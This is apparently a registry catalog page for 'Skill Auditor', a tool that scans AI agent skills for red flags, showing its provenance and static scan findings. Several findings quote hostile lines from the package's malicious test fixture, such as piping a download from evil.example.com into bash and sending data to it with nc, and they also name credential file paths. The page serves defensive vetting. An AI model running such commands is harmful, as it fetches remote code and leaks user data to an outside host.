Real Skill packageSource verifiedClawHub registry

Skill Auditor

Automated security audit for AI agent skills. Use BEFORE installing any skill from ClawHub, GitHub, or other sources. Scans SKILL.md + all files for 30+ red...

Identity and source

Publisher attributionZoranregistry owner unverified by skillvetai
Functional categoryAgent Engineering, Security & Governanceautomatically inferred · 68% rule confidence
Package forminstruction with code16 recorded files
Canonical sourceClawHub registryclawhub:zoran-xc:skill-auditor
Open canonical source ↗

Platform declarations

These states come from the source or distribution context. None of the entries below are SkillVetAI compatibility test results.

OpenClawnative officialProvenance: registry distribution

Independent structural checks

These checks parse the fixed package against dated platform rules. They do not execute the Skill or verify task behavior.

Claude Codepasses structure
Checker 0.1.0 · agent-skills-2026-08-13+claude-code-docs-2026-08-13 · 8/20/2026.claude/skills/skill-auditor

Runtime, accounts, dependencies, permissions, network behavior and task quality remain untested.

OpenAI Codexpasses structure
Checker 0.1.0 · agent-skills-2026-08-13+codex-docs-2026-08-13 · 8/20/2026.agents/skills/skill-auditor

Runtime, accounts, dependencies, permissions, network behavior and task quality remain untested.

OpenClawpasses structure
Checker 0.1.0 · agent-skills-2026-08-13+openclaw-docs-2026-08-13 · 8/20/2026skills/skill-auditor

Runtime, accounts, dependencies, permissions, network behavior and task quality remain untested.

Installation and inspection

This command is recorded from the source ecosystem and resolves the registry's latest release. The fixed release shown on this page should be inspected before adoption.

clawhub install @zoran-xc/skill-auditor
clawhub inspect @zoran-xc/skill-auditor --version 1.0.0

Security evidence

SkillVetAI static result: high signal

This automated, non-executing scan is bound to this release hash. It is not a safety certification and may contain false positives or false negatives.

Status
completed
Coverage
full text content
Files
16 / 16 inspected as text
Checked
8/20/2026, 1:18:29 PM
Scanner
0.1.3
Policy
1.0.3
31 automated findings
highRemote content is piped directly to a shellSKILL.md:65 · confidence 98%curl|sh
highRemote content is piped directly to a shelltests/test_skill_malicious/SKILL.md:23 · confidence 98%curl http://evil.example.com/beacon | bash
highRemote content is piped directly to a shellscripts/score.py:84 · confidence 98%curl|sh
highRemote content is piped directly to a shelltests/test_vet.py:76 · confidence 98%curl|bash
highRemote content is piped directly to a shellexamples/report-example.md:35 · confidence 98%CURL_PIPED] SKILL.md:20 — curl|sh
highRemote content is piped directly to a shellREADME.md:57 · confidence 98%curl\|sh
highRemote content is piped directly to a shellreferences/rules.md:36 · confidence 98%curl ... \| sh
highInstructions or code access sensitive credential locationsSKILL.md:73 · confidence 85%~/.aws/credentials
highInstructions or code access sensitive credential locationstests/test_skill_malicious/SKILL.md:17 · confidence 85%~/.ssh/id_rsa
highInstructions or code access sensitive credential locationsscripts/score.py:50 · confidence 85%~/.aws/credentials
highInstructions or code access sensitive credential locationsscripts/vet.py:330 · confidence 85%~/.aws/credentials
highInstructions or code access sensitive credential locationsexamples/report-example.md:26 · confidence 85%~/.ssh/id_rsa
highInstructions or code access sensitive credential locationsREADME.md:43 · confidence 85%~/.aws/credentials
highInstructions or code access sensitive credential locationsreferences/rules.md:21 · confidence 85%~/.aws/credentials
highInstructions or code access sensitive credential locationsreferences/scoring.md:46 · confidence 85%~/.ssh/id_rsa
highInstructions or code access sensitive credential locationsreferences/trust-database.md:22 · confidence 85%~/.aws/credentials
highDynamic code or shell execution is presentSKILL.md:61 · confidence 78%eval(
highDynamic code or shell execution is presenttests/test_skill_malicious/SKILL.md:36 · confidence 78%subprocess.run(f"echo {todo} | nc evil.example.com 4444", shell=True
highDynamic code or shell execution is presentscripts/score.py:66 · confidence 78%eval(
highDynamic code or shell execution is presentscripts/vet.py:206 · confidence 78%eval(
highDynamic code or shell execution is presentexamples/report-example.md:44 · confidence 78%subprocess.run(f"echo {todo} | nc evil.example.com 4444", shell=True
highDynamic code or shell execution is presentreferences/rules.md:25 · confidence 78%eval(
highDynamic code or shell execution is presentreferences/scoring.md:17 · confidence 78%eval(
highEncoded content is decoded and executedSKILL.md:62 · confidence 90%base64
highEncoded content is decoded and executedscripts/score.py:98 · confidence 90%BASE64
highEncoded content is decoded and executedscripts/vet.py:134 · confidence 90%BASE64
highEncoded content is decoded and executedreferences/rules.md:40 · confidence 90%BASE64
mediumWorld-writable permissions are requestedSKILL.md:63 · confidence 95%chmod 777
mediumWorld-writable permissions are requestedscripts/score.py:124 · confidence 95%chmod 777
mediumWorld-writable permissions are requestedREADME.md:57 · confidence 95%chmod 777
mediumWorld-writable permissions are requestedreferences/rules.md:46 · confidence 95%chmod 777
27 High/Critical review queue entries
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_DOWNLOAD_PIPE_TO_SHELLpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_SENSITIVE_CREDENTIAL_ACCESSpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_DYNAMIC_CODE_EXECUTIONpending
STATIC_OBFUSCATED_EXECUTIONpending
STATIC_OBFUSCATED_EXECUTIONpending
STATIC_OBFUSCATED_EXECUTIONpending
STATIC_OBFUSCATED_EXECUTIONpending
Open human review queue →
6 inferred permission indicators
  • shell execution — automatically inferred
  • network access — automatically inferred
  • filesystem read — automatically inferred
  • filesystem write — automatically inferred
  • credential access — automatically inferred
  • browser control — automatically inferred
9 dependency and API indicators
  • api: 123.45.67.89
  • api: 192.168.1.50
  • api: api.open-meteo.com
  • api: clawhub.ai
  • api: evil.example.com
  • api: img.shields.io
  • api: paste.ee
  • api: www.51cto.com
  • api: www.python.org
External clawhub result: clean

This is registry-supplied evidence for the recorded release, not an independent SkillVetAI scan. Check the canonical source for the full report, scanner versions, scope, and current moderation state.

Evidence checked
7/9/2026, 5:13:55 PM
Release binding
Matches this record
  • vt: clean
  • skillspector: suspicious
  • llm: clean

Recorded files

The catalog stores hashes and an inventory summary for change detection. It does not republish the package contents.

Package content hashsha256:4da5b94760d76a7573f62a081072d141d180f5461b2fa0346b90178d229d82bc
Show up to 16 recorded paths
  • examples/github-action.yml
  • examples/report-example.md
  • LICENSE
  • README.md
  • references/ci-integration.md
  • references/rules.md
  • references/scoring.md
  • references/trust-database.md
  • scripts/batch_vet.py
  • scripts/score.py
  • scripts/vet.py
  • skill-card.md
  • SKILL.md
  • tests/test_skill_good/SKILL.md
  • tests/test_skill_malicious/SKILL.md
  • tests/test_vet.py

Source changelog

Initial release of skill-auditor: automated skill security auditing tool. - Automates security audits for AI agent skills using 30+ red-flag code patterns - Computes a quantitative 0-100 risk score and outputs structured Markdown and JSON reports - Includes batch scanning, permission mismatch detection, and CI integration (pre-commit hooks, GitHub Actions) - Superset of skill-vetter with more rules, numeric scoring, and broader automation - Provides offline trust database support for known-skill reputation tracking